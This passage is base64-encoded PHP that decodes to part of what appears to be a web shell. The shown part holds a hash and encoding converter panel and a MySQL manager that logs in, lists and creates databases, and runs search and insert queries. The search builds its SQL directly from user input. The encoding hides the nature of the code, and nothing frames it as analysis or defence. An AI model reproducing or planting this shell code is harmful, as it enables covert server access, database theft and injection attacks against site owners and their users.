bG9yPScjNjY2NjY2Jz48dGV4dGFyZWEgcm93cz0nMTAnIG5hbWU9J2lucHV0JyBjb2xzPSc2NCc+
IjtpZighZW1wdHkoJF9SRVFVRVNUWydpbnB1dCddKSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9S
RVFVRVNUWydpbnB1dCddKTtlY2hvICI8L3RleHRhcmVhPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRo
PScyMCUnIGJnY29sb3I9JyM4MDgwODAnPlRhc2s6PC90ZD48dGQgYmdjb2xvcj0nIzgwODA4MCc+
PHNlbGVjdCBzaXplPTEgbmFtZT10bz48b3B0aW9uIHZhbHVlPW1kNT5NRDU8L29wdGlvbj48b3B0
aW9uIHZhbHVlPXNoYTE+U0hBMTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Y3JjMzI+Q3JjMzI8L29w
dGlvbj48b3B0aW9uIHZhbHVlPXN0cnJldj5SZXZlcnNlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1p
cDJsb25nPklQIHRvIGxvbmc8L29wdGlvbj48b3B0aW9uIHZhbHVlPWxvbmcyaXA+TG9uZyB0byBJ
UDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ZGVjYmluPkRlY2ltYWwgdG8gYmluYXJ5PC9vcHRpb24+
PG9wdGlvbiB2YWx1ZT1iaW5kZWM+QmluYXJ5IHRvIGRlY2ltYWw8L29wdGlvbj48b3B0aW9uIHZh
bHVlPWRlY2hleD5EZWNpbWFsIHRvIGhleDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9aGV4ZGVjPkhl
eCB0byBkZWNpbWFsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1oZXg+QVNDSUkgdG8gaGV4PC9vcHRp
b24+PG9wdGlvbiB2YWx1ZT11cmxlbmNvZGU+VVJMIGVuY29kaW5nPC9vcHRpb24+PG9wdGlvbiB2
YWx1ZT11cmxkZWNvZGU+VVJMIGRlY29kaW5nPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1iYXNlNjRf
ZW5jb2RlPkJhc2U2NCBlbmNvZGluZzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9YmFzZTY0X2RlY29k
ZT5CYXNlNjQgZGVjb2Rpbmc8L29wdGlvbj48L3NlbGVjdD48L3RkPjx0cj48dGQgd2lkdGg9JzIw
JScgYmdjb2xvcj0nIzY2NjY2Nic+PC90ZD48dGQgYmdjb2xvcj0nIzY2NjY2NicgYWxpZ249cmln
aHQ+PGlucHV0IGNsYXNzPWJ1dHRvbnMgdHlwZT1zdWJtaXQgdmFsdWU9Q29udmVydD4kaGN3ZDwv
Zm9ybT4kZXQ8L2NlbnRlcj4iOw0KfQ0KDQppZiAoJGFjdCA9PSAnc3FsJykgew0Kc2Vzc2lvbl9z
dGFydCgpOw0KJGFjdGlvbiA9ICRIVFRQX0dFVF9WQVJTWydhY3Rpb24nXTsNCiRwYWdlbWF4PTIw
OyAvLyBNYXhpbXVtIHJvd3MgZGlzcGxhZWQgcGVyIHBhZ2UsIGNoYW5nZSB0byBkaXNwbGF5IG1v
cmUgb3IgbGVzcyByb3dzIHBlciBwYWdlLg0KZnVuY3Rpb24gc2hvd19sb2dpbigkZGJuYW1lYXJy
YXkpew0KICAgICAkaG9zdGRlZmF1bHQ9ImxvY2FsaG9zdCI7DQogICAgICAgICAgICAgICAgZWNo
byI8dGFibGU+IjsNCiAgICAgICAgICAgICAgICBlY2hvIjxmb3JtICBuYW1lPSdzaG93bG9naW4n
IG1ldGhvZD0ncG9zdCcgYWN0aW9uPSckYWN0aW9uJz4iOw0KICAgICAgICBpZihjb3VudCgkaG9z
dGRlZmF1bHQpID4gMSl7DQogICAgICAgICAgICBlY2hvIjx0cj48dGQ+Pz8/IEM/Pz8/Pz8/Ojwv
dGQ+PHRkPjxzZWxlY3QgbmFtZT1ob3N0PiI7DQogICAgICAgICAgICBmb3IoJHg9MDsgJHggPCBj
b3VudCgkaG9zdGRlZmF1bHQpOyR4Kyspew0KICAgICAgICAgICAgICAgIGVjaG8iPG9wdGlvbiB2
YWx1ZT0kaG9zdGRlZmF1bHRbJHhdPiRob3N0ZGVmYXVsdFskeF0iOw0KICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgZWNobyI8L3NlbGVjdD48L3RkPjwvdHI+XG4iOw0KICAgICAgICB9ZWxzZXsN
CiAgICAgICAgICAgIGVjaG8iPHRyPjx0ZD5TZXJ2ZXIgZGF0YWJhc2VzOjwvdGQ+PHRkPjxpbnB1
dCB0eXBlPXRleHQgbmFtZT0naG9zdCcgc2l6ZT0xNSB2YWx1ZT0kaG9zdGRlZmF1bHQgLz48L3Rk
PjwvdHI+XG4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgZWNobyI8dHI+PHRkPlVzZXIg
bmFtZTo8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9J3VzZXJpZCcgc2l6ZT0xNSAvPjwv
dGQ+PC90cj5cbiI7DQogICAgICAgICAgICAgICAgZWNobyI8dHI+PHRkPlBhc3N3b3JkOjwvdGQ+
PHRkPjxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9J3B3b3JkMScgc2l6ZT0xNSAvPjwvdGQ+PC90
cj5cbiI7DQoNCiAgICAgICAgICAgICAgICBJZigkZGJuYW1lYXJyYXkgIT0gIiIpew0KICAgICAg
ICAgICAgICAgICAgICAgICAgZWNobyI8dHI+PHRkPj9DP0lFIEM/RT9DP0NFOjwvdGQ+PHRkPjxz
ZWxlY3QgbmFtZT0nZGJuYSc+XG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yICgkaSA9
MDsgJGkgPCBjb3VudCgkZGJuYW1lYXJyYXkpOyAkaSsrKSB7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICRkYm49JGRibmFtZWFycmF5WyRpXTsNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgZWNobyI8b3B0aW9uIHZhbHVlPSRkYm4+JGRibiI7DQogICAgICAgICAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8iPHRy
Pjx0ZD48aW5wdXQgY2xhc3M9c2VyIHR5cGU9J3N1Ym1pdCcgbmFtZT0nbG9naW4nIHZhbHVlPSdF
bnRyeScgLz48L3RkPlxuIjsNCiAgICAgICAgICAgICAgICBlY2hvIjx0ZD48aW5wdXQgY2xhc3M9
c2VyIHR5cGU9cmVzZXQgbmFtZT0ncmVzZXQnIHZhbHVlPSdkZWxldGUnIC8+PC90ZD48L3RyPlxu
IjsNCiAgICAgICAgICAgICAgICBlY2hvIjwvZm9ybT48L3RhYmxlPlxuIjsNCg0KfQ0KDQpmdW5j
dGlvbiBkYnJlc3RyaWN0KCl7DQppZihpc3NldCgkX1NFU1NJT05bJ3VzZXInXSkpew0KICAgICR1
c2VyPSRfU0VTU0lPTlsndXNlciddOw0KDQogICAgc3dpdGNoKCR1c2VyKXsNCg0KICAgIC8vRWRp
dCB0aGVzZSAqKiB2YWx1ZXMuIFlvdSBjYW4gYWRkIG1vcmUgY2FzZSBzdGF0ZW1lbnRzLg0KICAg
ICAgICBjYXNlICcqKlVzZXIqKic6DQogICAgICAgICAgICAkZGJuYW1lYXJyYXk9IGFycmF5KCcq
KmRibmFtZSoqJywgJyoqZGJuYW1lMioqJywgJyoqZGJuYW1lKionKTsNCiAgICAgICAgICAgIGJy
ZWFrOw0KICAgICAvL2VuZCBlZGl0IHZhbHVlcw0KDQogICAgICAgIGRlZmF1bHQ6DQogICAgICAg
ICAgICAkX1NFU1NJT05bJ2RlZmFsdHVzZXInXT10cnVlOw0KICAgICAgICAgICAgJGRibmFtZWFy
cmF5ID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRsaW5rID0gY29ubmVjdG15c3FsKCk7DQoNCiAg
ICAgICAgICAgICRkYl9saXN0ID0gbXlzcWxfbGlzdF9kYnMoJGxpbmspOyAvLyRkYl9saXN0DQog
ICAgICAgICAgICAgICAgICAgICRjbnQgPSBteXNxbF9udW1fcm93cygkZGJfbGlzdCk7DQogICAg
ICAgICAgICAgICAgICAgIGZvciAoJGkgPTA7ICRpIDwgJGNudDsgJGkrKykgew0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICRkYm5hbWVhcnJheVskaV09IG15c3FsX2RiX25hbWUoJGRiX2xp
c3QsICRpKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gJGRibmFt
ZWFycmF5Ow0KfQ0KfQ0KLy8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioNCi8vZnVuY3Rpb24gc2hvd2RicygkZGJuYW1lYXJyYXks
ICRiYWNrdXBwYXRoKXsNCmZ1bmN0aW9uIHNob3dkYnMoJGRibmFtZWFycmF5KXsNCiAgICAvLyRi
YWNrdXBwYXRoPWFkZHNsYXNoZXMoJGJhY2t1cHBhdGgpOw0KICAgICAgIGVjaG8iPHRhYmxlPlxu
IjsNCiAgICAgICBmb3IgKCRpID0wOyAkaSA8IGNvdW50KCRkYm5hbWVhcnJheSk7ICRpKyspIHsN
CiAgICAgICAgICAgICAgICAgICAgZWNobyI8dHI+PHRkPiI7DQogICAgICAgICAgICAkZGJuPSRk
Ym5hbWVhcnJheVskaV07DQogICAgICAgICAgICAgICAgICAgICAgICAkdmE9IkdvIHRvIHRoZSBi
YXNlICRkYm4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgZ290bygnICcsICRkYm4sJGFjdGlv
biwgJ2J1dCcsICdkYicsICR2YSApOw0KDQogICAgICAgICAgICAkZGJzPW15c2l6ZSgkZGJuYW1l
YXJyYXlbJGldLCIiKTsNCiAgICAgICAgICAgIGVjaG8iPC90ZD48dGQ+JGRiczwvdGQ+PC90cj5c
biI7DQogICAgICAgIH0NCiAgICBlY2hvIjwvdGFibGU+XG4iOw0KfQ0KDQoNCi8vKioqKioqKioq
KioqKioqKioqKioqIFNob3cgTG9nb3V0IEJ1dHRvbiAqKioqKioqKioqDQpmdW5jdGlvbiBlbmRz
ZXNzKCl7DQplY2hvIjxmb3JtIG1ldGhvZD0ncG9zdCcgbmFtZT0nZW5kc2VzcycgYWN0aW9uPSck
YWN0aW9uJz5cbiI7DQplY2hvIjxpbnB1dCBjbGFzcz1zZXIgdHlwZT0nc3VibWl0JyBuYW1lPSds
b2dvdXQnIHZhbHVlPSdFeGl0JyAvPlxuIjsNCmVjaG8iPC9mb3JtPiI7DQp9DQoNCi8vKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioNCmZ1bmN0aW9uIGNvbm5lY3RteXNxbCgpew0KICAgICAgICAvL0Nvbm5lY3RzIHRvIHRo
ZSBNeVNRTCBEYXRhYmFzZS4NCg0KDQogICAgICAgIGlmIChpc3NldCgkX1NFU1NJT05bJ3VzZXIn
XSkgJiYgaXNzZXQoJF9TRVNTSU9OWydwYXNzd29yZCddKSl7DQogICAgICAgICAgICAgICAgICR1
c2VyID0gJF9TRVNTSU9OWyd1c2VyJ107DQogICAgICAgICAgICAgICAgICRwYXNzID0gJF9TRVNT
SU9OWydwYXNzd29yZCddOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgZGlzcGxheV9mb290KCk7
DQogICAgICAgIGVjaG8iXG48L2JvZHk+XG48L2h0bWw+IjsNCiAgICAgICAgICAgICAgICBleGl0
KCk7DQogICAgICAgIH0NCiAgICAgICAgJGxpbmsgPSBAbXlzcWxfY29ubmVjdCgkX1NFU1NJT05b
J2hvc3QnXSwgJF9TRVNTSU9OWyd1c2VyJ10sICRfU0VTU0lPTlsncGFzc3dvcmQnXSk7DQogICAg
ICAgIGlmKCEgJGxpbmspew0KICAgICAgICAgICAgICAgIGVjaG8iPGRpdiBjbGFzcz0nZXJyb3In
PlxuIjsNCiAgICAgICAgICAgICAgICBlY2hvIlVuYWJsZSB0byBjb25uZWN0IHRvIHRoZSBkYXRh
YmFzZSBzZXJ2ZXIuIDxCUj4iOw0KICAgICAgICAgICAgICAgIGVjaG8iVGhlIEhvc3Q6ICRfU0VT
U0lPTltob3N0XSwgVXNlciBuYW1lOiAkdXNlciBQYXNzd29yZCBvciBXb3JuZy4gPGJyPiI7DQog
ICAgICAgICAgICAgICAgZWNobyJSZWdpc3RlciBhcyB3ZWxsIGFzIHRoZSBleGl0IHRvIHRyeSBh
Z2Fpbi5cbiI7DQogICAgICAgICAgICAgICAgZWNobyI8L2Rpdj5cbiI7DQoNCiAgICAgICAgcmV0
dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgIGV4aXQoKTsNCiAgICAgICAgfSBlbHNlew0KICAg
ICAgICAgICAgICAgIHJldHVybiAkbGluazsNCiAgICAgICAgfQ0KDQp9DQovLyoqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
Kg0KZnVuY3Rpb24gY29ubmVjdGRiKCRkYiwgJGxpbmspew0KICAgICAgICBpZighIG15c3FsX3Nl
bGVjdF9kYigkZGIsJGxpbmspKXsNCiAgICAgICAgICAgICAgICBlY2hvIlVuYWJsZSB0byBsb2Nh
dGUgZGF0YWJhc2UgJGRiLjxicj4gUGxlYXNlIHRyeSBhZ2FpbiBsYXRlci5cbiI7DQogICAgICAg
ICAgICAgICAgZXhpdCgpOw0KICAgICAgICB9DQp9DQovLyoqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KZnVuY3Rpb24g
ZXhlcXVlcnkoJHNxbCwgJHRhYmxlbmFtZSwgJGRiKXsNCiAgICAgICAgJHJlc3VsdD0gQG15c3Fs
X3F1ZXJ5KCAkc3FsICk7DQogICAgICAgIGlmKCRyZXN1bHQpew0KICAgICAgICAgICAgICAgIC8v
ZWNobyAiUXVlcnkgc3VjY2Vzc2Z1bCI7DQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXN1bHQ7
DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8iU29ycnkgeW91ciBRdWVyeSBm
YWlsZWQ6ICRzcWwgPGJyPiBlcnJvcjoiLm15c3FsX2Vycm9yKCkuIlxuIjsNCiAgICAgICAgICAg
ICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCn0NCg0KDQovLyoqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KJGZpZWxkdHlwZXMgPSBhcnJheSgi
QklHSU5UIiwgIkJMT0IiLCAiQ0hBUiIsICJEQVRFIiwgIkRBVEVUSU1FIiwgIkRFQ0lNQUwiLCAi
RE9VQkxFIiwgIkVOVU0iLCAiRkxPQVQiLA0KICAiSU5UIiwgIklOVEVHRVIiLCAiTE9OR0JMT0Ii
LCAiTE9OR1RFWFQiLCAiTUVESVVNQkxPQiIsICJNRURJVU1JTlQiLCAiTUVESVVNVEVYVCIsICJO
VU1FUklDIiwgIlBSRUNJU0lPTiIsDQogIlJFQUwiLCJTRVQiLCAiU01BTExJTlQiLCAiVEVYVCIs
ICJUSU1FIiwgIlRJTUVTVEFNUCIsICJUSU5ZQkxPQiIsICJUSU5ZSU5UIiwgIlRJTllURVhUIiwg
IlZBUkNIQVIiLCAiWUVBUiIgKTsNCg0KDQovLyoqKioqKioqKioqKioqKioqKiBTZWFyY2ggRm9y
bSAqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQpmdW5jdGlvbiBzZWFyY2h0YWJsZWZvcm0o
JHRhYmxlbmFtZSwgJGRibmFtZSl7DQogICAgICAgIGVjaG8iPGZvcm0gbWV0aG9kPSdwb3N0JyBh
Y3Rpb249JyRhY3Rpb24nPlxuIjsNCiAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFt
ZT0nZGJuYW1lJyB2YWx1ZT0nJGRibmFtZScgLz5cbiI7DQogICAgICAgIGVjaG8iPGlucHV0IHR5
cGU9aGlkZGVuIG5hbWU9J3RhYmxlbmFtZScgdmFsdWU9JyR0YWJsZW5hbWUnIC8+XG4iOw0KICAg
ICAgICBlY2hvIjxpbnB1dCB0eXBlPXRleHQgbmFtZT0nc2VhcmNodmFsJyAvPlxuIjsNCiAgICAg
ICAgZWNobyI8aW5wdXQgY2xhc3M9c2VyIHR5cGU9c3VibWl0IG5hbWU9J3NlYXJjaCcgdmFsdWU9
J1NlYXJjaCAkdGFibGVuYW1lJyAvPlxuIjsNCiAgICAgICAgZWNobyI8L2Zvcm0+XG4iOw0KfQ0K
Ly8qKioqKioqKioqKioqKioqKioqKiogU2VhcmNoICoqKioqKioqKioqKioqKioqKioqKioqKioN
CmZ1bmN0aW9uIHNlYXJjaHQoJHRhYmxlbmFtZSwgJGRibmFtZSwgJHNlYXJjaHZhbCl7DQogICAg
ICAgIGlmKCEgZW1wdHkoJHNlYXJjaHZhbCkpew0KICAgICAgICAgICAgICAgIC8vICAgICAgICAk
c2VhcmNodmFsPSBzdHJfcmVwbGFjZSgiOyIsJyAnLCAkc2VhcmNodmFsKTsNCiAgICAgICAgJHJl
c3VsdD1leGVxdWVyeSgiU2VsZWN0ICogZnJvbSAkdGFibGVuYW1lIiwgJHRhYmxlbmFtZSwgJGRi
bmFtZSk7DQogICAgICAgICAgICAgICAgLy8kcmVzdWx0PW15c3FsX3F1ZXJ5KCJTZWxlY3QgKiBm
cm9tICR0YWJsZW5hbWUiKTsNCiAgICAgICAgICAgICAgICAkbnVtID0gbXlzcWxfbnVtX2ZpZWxk
cygkcmVzdWx0KTsNCiAgICAgICAgICAgICAgICAkZmllbGRzID0gbXlzcWxfbGlzdF9maWVsZHMo
JGRibmFtZSwgJHRhYmxlbmFtZSk7DQogICAgICAgICAgICAgICAgJHdocj0id2hlcmUgIjsNCiAg
ICAgICAgICAgICAgICAkdG9rPWV4cGxvZGUoIiAiLCRzZWFyY2h2YWwpOw0KICAgICAgICAgICAg
ICAgIGZvciAoJHQgPTA7ICR0IDwgY291bnQoJHRvayk7ICR0Kyspew0KICAgICAgICAgICAgICAg
ICAgICAgICAgZm9yICggJGMgPSAwOyAkYyA8ICRudW07ICRjKyspew0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAkZm4gPW15c3FsX2ZpZWxkX25hbWUoJGZpZWxkcywgJGMpOw0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkd2hyIC49IiAkZm4gbGlrZSAnJSR0b2tbJHRd
JScgb3IgIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQog
ICAgICAgICAgICAgICAgJHdocj10cmltKHN1YnN0cl9yZXBsYWNlKCR3aHIsICIgIiwgLTMpKTsN
CiAgICAgICAgICAgICAgICAkcXVlcnk9IlNlbGVjdCAqIGZyb20gJHRhYmxlbmFtZSAkd2hyIjsN
CiAgICAgICAgICAgICAgICAkcmVzdWx0PWV4ZXF1ZXJ5KCRxdWVyeSwgJHRhYmxlbmFtZSwgJGRi
bmFtZSk7DQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgICAgIH0NCg0KfQ0K
Ly8qKioqKioqKioqKioqKioqKioqKipHT1RPIGJ1dHRvbnMqKioqKioqKioqKioqKioqKioqKioq
KioqDQovL3Byb3ZpZGVzIGEgZm9ybSBhbmQgYnV0dG9uLg0KDQpmdW5jdGlvbiBnb3RvKCR0YWJs
ZW5hbWUsICRkYm5hbWUsICRhY3Rpb24sICRjbGFzcywgJG5hbWUsICR2YSApew0KICAgICAgICAv
L0FkZHMgYSBidXR0b24uDQoNCiAgICAgICAgZWNobyI8Zm9ybSBhY3Rpb249JyRhY3Rpb24nIG1l
dGhvZD0ncG9zdCcgPlxuIjsNCg0KICAgICAgICAgICAgICAgIGlmKCEgZXJlZ2koJ3RhYmxlc3Rh
cnQnLCAkbmFtZSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1o
aWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JyRkYm5hbWUnIC8+XG4iOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JyR0
YWJsZW5hbWUnIC8+XG4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hv
IjxpbnB1dCBjbGFzcz0kY2xhc3MgdHlwZT1zdWJtaXQgIHZhbHVlPSckdmEnIG5hbWU9JyRuYW1l
JyAvPlxuIjsNCiAgICAgICAgICAgICAgICAvL2VjaG8iPGlucHV0IGNsYXNzPSRjbGFzcyB0eXBl
PXN1Ym1pdCAgdmFsdWU9JyRhY3Rpb24nIG5hbWU9JG5hbWU+IjsNCiAgICAgICAgZWNobyI8L2Zv
cm0+XG4iOw0KDQogICAgICAgIC8vZWNobyI8YSBjbGFzcz0kY2xhc3MgaHJlZj0kYWN0aW9uPiR2
YTwvYT4iOw0KICAgICAgICAvL30NCn0NCg0KLy8qKioqKioqKioqKioqKioqKioqKioqKiBTaG93
REIgKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCmZ1bmN0aW9uIHNob3dkYigp
ew0KLy9mdW5jdGlvbiBzaG93ZGIoJGJhY2t1cHBhdGgpew0KDQogICAgICAgICRsaW5rPWNvbm5l
Y3RteXNxbCgpOw0KICAgICAgICBpZiAoJGxpbmspew0KICAgICAgICBlY2hvIjxkaXYgY2xhc3M9
J2RiJz4iOw0KICAgICAgICAgICAgICAgIGVjaG8iPGRpdiBjbGFzcz0nY3JlYW0nPlxuIjsNCiAg
ICAgICAgICAgICAgICBlY2hvIjxoMiBjbGFzcz1oID5DcmVhdGUgYSBuZXcgRGF0YWJhc2U8L2gy
PlxuIjsNCg0KICAgICAgICAgICAgICAgIGVjaG8iPGZvcm0gbmFtZT1jZGIgYWN0aW9uPSckYWN0
aW9uJyBtZXRob2Q9J3Bvc3QnID5cbiI7DQogICAgICAgICAgICAgICAgZWNobyJOYW1lIG9mIHRo
ZSBuZXcgRGF0YWJhc2U6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1uZGJuYW1lIC8+XG4iOw0KICAg
ICAgICAgICAgICAgIGVjaG8iPGJyIC8+PGJyIC8+PGlucHV0IGNsYXNzPWJ1dCB0eXBlPSdzdWJt
aXQnIG5hbWU9J2NuZGInIHZhbHVlPSdDcmVhdGUgYSBuZXcgZGF0YWJhc2UnIC8+XG4iOw0KICAg
ICAgICAgICAgICAgIGVjaG8iPC9mb3JtPjxiciAvPiI7DQogICAgICAgICAgICAgICAgZWNobyI8
L2Rpdj4iOw0KICAgICAgICAgICAgICAgIGVjaG8iPGgyIGNsYXNzPWggPkxpc3Qgb2YgRGF0YWJh
c2UgYXZhaWxhYmxlPC9oMj5cbiI7DQogICAgICAgICAgICAgICAgLy9SZXN0cmljdCB0aGUgZGF0
YWJhc2UgZm9yIHVzZXJzDQogICAgICAgICRkYm5hbWVhcnJheT0gZGJyZXN0cmljdCgpOw0KICAg
ICAgICBzaG93ZGJzKCRkYm5hbWVhcnJheSk7DQogICAgICAgIGVjaG8iPC9kaXY+IjsNCiAgICAg
ICAgICAgfQ0KDQp9DQoNCi8vKioqKioqKioqKioqKioqKioqKioqKiBCdWlsZFdociAqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioNCi8vQnVpbGRzIHRoZSBXaGVyZSBwYXJ0IG9mIHF1ZXJp
ZXMuDQoNCmZ1bmN0aW9uIGJ1aWxkd2hyKCRwaywgJHB2KXsNCiAgICAgICAgJHdocj0iIjsNCiAg
ICAgICAgJHBuID1jb3VudCgkcHYpOw0KICAgICAgICBmb3IoJHQgPTA7ICR0IDwgJHBuOyAkdCsr
KXsNCiAgICAgICAgICAgICAgICAkd2hyLj0iJHBrWyR0XT0nJHB2WyR0XSciOw0KICAgICAgICAg
ICAgICAgIGlmKCR0IDwgJHBuLTEpew0KICAgICAgICAgICAgICAgICAgICAgICAgJHdoci49IiBh
bmQgIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYgKCR3aHIgIT0i
ICIpew0KICAgICAgICAgICAgICAgIHJldHVybiAkd2hyOw0KICAgICAgICB9ZWxzZXsNCiAgICAg
ICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCn0NCi8vKioqKioqKioqKioqKioq
KioqKioqKipBREQgUmVjb3JkICoqKioqKioqKioqKioqKioqKg0KDQpmdW5jdGlvbiBhZGRyZWNv
cmQoJHRhYmxlbmFtZSwgJGRibmFtZSwgJGFycmF5KXsNCiAgICAgJHJlc3VsdD1leGVxdWVyeSgi
U2VsZWN0ICogZnJvbSAkdGFibGVuYW1lIiwgJHRhYmxlbmFtZSwgJGRibmFtZSk7DQogICAgICAg
IC8vJHJlc3VsdCA9IEBteXNxbF9xdWVyeSggIlNlbGVjdCAqIGZyb20gJHRhYmxlbmFtZSIgKTsN
Cg0KICAgICAgICAkZmxkcyA9IG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7DQogICAgICAgIC8v
JGZpZWxkcyA9IG15c3FsX2xpc3RfZmllbGRzKCRkYm5hbWUsICR0YWJsZW5hbWUpOw0KICAgICAg
ICAgICAkcXJ5PSIgIjsNCiAgICAkcXVlcnkgPSAiSW5zZXJ0IGludG8gJHRhYmxlbmFtZSBWYWx1
ZXMoICI7DQogICAgICAgIGZvciAoJHggPTA7ICR4IDwgJGZsZHM7ICR4Kyspew0KICAgICAgICAv
L011bHRpcGxlIFNlbGVjdCB2YWx1ZXMgZm9yIFNFVA0KDQogICAgICAgaWYoaXNfYXJyYXkoJGFy
cmF5WyR4XSkpew0KICAgICAgICAgICAgJG12YWw9IiI7DQogICAgICAgICAgICBmb3IoJG09MDsg
JG0gPCBjb3VudCgkYXJyYXlbJHhdKTsgJG0rKyl7DQogICAgICAgICAgICAgICAgaWYoJG0rMSA9
PSBjb3VudCgkYXJyYXlbJHhdKSl7DQogICAgICAgICAgICAgICAgICAgICRtdmFsLj0gQWRkU2xh
c2hlcygkYXJyYXlbJHhdWyRtXSk7DQoNCiAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAg
ICAgICAgICAgICAgJG12YWwuPSBBZGRTbGFzaGVzKCRhcnJheVskeF1bJG1dKS4iLCI7DQogICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRmdmFsID0gJG12YWw7DQogICAgICAgICAg
ICB9DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAkZnZhbCA9IEFkZFNsYXNo
ZXMoJGFycmF5WyR4XSk7DQogICAgICAgIH0NCiAgICAgICAgICAgICAgICAkcXJ5IC49ICInJGZ2
YWwnIjsNCiAgICAgICAgICAgICAgICBpZiAoJHggPCAkZmxkcy0xKXsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICRxcnkuPSAiLCAiOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAg
ICAgICAkcXVlcnkgLj0gJHFyeS4iKSI7DQogICAvLyBlY2hvInFyeTogJHFyeSI7DQogICAgICAg
ICRyZXN1bHQ9ZXhlcXVlcnkoJHF1ZXJ5LCAkdGFibGVuYW1lLCAkZGJuYW1lKTsNCiAgICAgICAg
aWYoJHJlc3VsdCl7DQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgICAgIH1l
bHNlew0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KfQ0KDQovLyoq
KioqKioqKioqKioqKioqKioqKipBREQgRm9ybSAqKioqKioqKioqKioqKioqKioqKioqDQoNCmZ1
bmN0aW9uIGFkZGZvcm0oJHRhYmxlbmFtZSwgJGRibmFtZSl7DQogLy9EaXNwbGF5IHRoZSBmaWVs
ZCBuYW1lcyBhbmQgaW5wdXQgYm94ZXMNCiBlY2hvIjxmb3JtIGFjdGlvbj0nJGFjdGlvbicgbWV0
aG9kPSdwb3N0Jz5cbiI7DQogZWNobyI8dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnIGFsaWdu
PSdjZW50ZXInPlxuIjsNCiBlY2hvIjx0ciBjbGFzcz1oZWFkPjx0ZD5GaWVsZCBOYW1lPC90ZD48
dGQ+VHlwZTwvdGQ+PHRkPlZhbHVlPC90ZD48L3RyPlxuIjsNCiAgJHJlc3VsdD1leGVxdWVyeSgi
U2VsZWN0ICogZnJvbSAkdGFibGVuYW1lIiwgJHRhYmxlbmFtZSwgJGRibmFtZSk7DQogLy8kcmVz
dWx0ID0gQG15c3FsX3F1ZXJ5KCAiU2VsZWN0ICogZnJvbSAkdGFibGVuYW1lIiApOw0KICRmbGRz
ID0gbXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTsNCiAkZmllbGRzID0gbXlzcWxfbGlzdF9maWVs
ZHMoJGRibmFtZSwgJHRhYmxlbmFtZSk7DQogZWNobyI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10
YWJsZW5hbWUgdmFsdWU9JyR0YWJsZW5hbWUnIC8+XG4iOw0KIGVjaG8iPGlucHV0IHR5cGU9aGlk
ZGVuIG5hbWU9J2RibmFtZScgdmFsdWU9JyRkYm5hbWUnIC8+XG4iOw0KIGVjaG8iPHRyPlxuIjsN
